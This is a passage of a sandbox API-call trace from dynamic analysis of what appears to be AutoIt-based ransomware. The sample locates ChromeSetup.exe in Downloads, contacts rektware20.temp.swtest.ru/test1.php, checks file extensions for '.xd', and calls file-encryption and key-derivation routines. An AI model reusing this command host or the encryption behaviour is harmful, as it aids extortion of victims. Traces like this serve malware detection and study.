wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.417] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0056.417] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0056.417] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.417] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0056.417] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0056.417] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0056.417] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0056.418] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fd0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fd0, lpdwBufferLength=0x130ef8c) returned 1 [0056.418] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0056.418] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0056.418] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0056.522] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0056.522] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0056.522] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0056.523] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0056.523] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0056.524] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0056.524] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0056.524] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0056.524] CloseHandle (hObject=0x0) returned 0 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Downloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ownloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wnloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nloads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="loads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ads\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ds\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ChromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hromeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="romeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="omeSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="meSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eSetup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Setup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="etup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tup.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="up.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0056.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0056.526] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.526] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0056.526] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0056.526] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0056.527] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0056.527] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0056.527] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0056.527] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0056.527] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0056.527] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0056.527] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0056.527] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0056.528] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0056.528] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0056.528] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0056.528] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0056.528] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0056.539] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0056.539] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0056.539] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0056.539] CloseHandle (hObject=0x0) returned 0 [0056.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0056.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0056.542] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0056.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0056.543] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0056.543] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.543] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0056.543] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0056.543] SetLastError (dwErrCode=0x6) [0056.543] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.544] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0056.544] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.544] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.544] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0056.544] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0056.545] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0056.545] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.545] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0056.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0056.553] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0056.554] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0056.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0056.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0056.554] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0056.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0056.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0056.555] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0056.555] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631aa0) returned 1 [0057.574] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 1 [0057.574] TranslateMessage (lpMsg=0x130ef0c) returned 0 [0057.574] DispatchMessageW (lpMsg=0x130ef0c) returned 0x0 [0057.574] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e570) returned 1 [0057.577] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0057.577] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0057.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.577] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0057.577] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0057.577] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0057.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0057.578] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0057.578] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0057.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.578] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0057.578] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0057.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0057.578] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0057.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0057.578] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 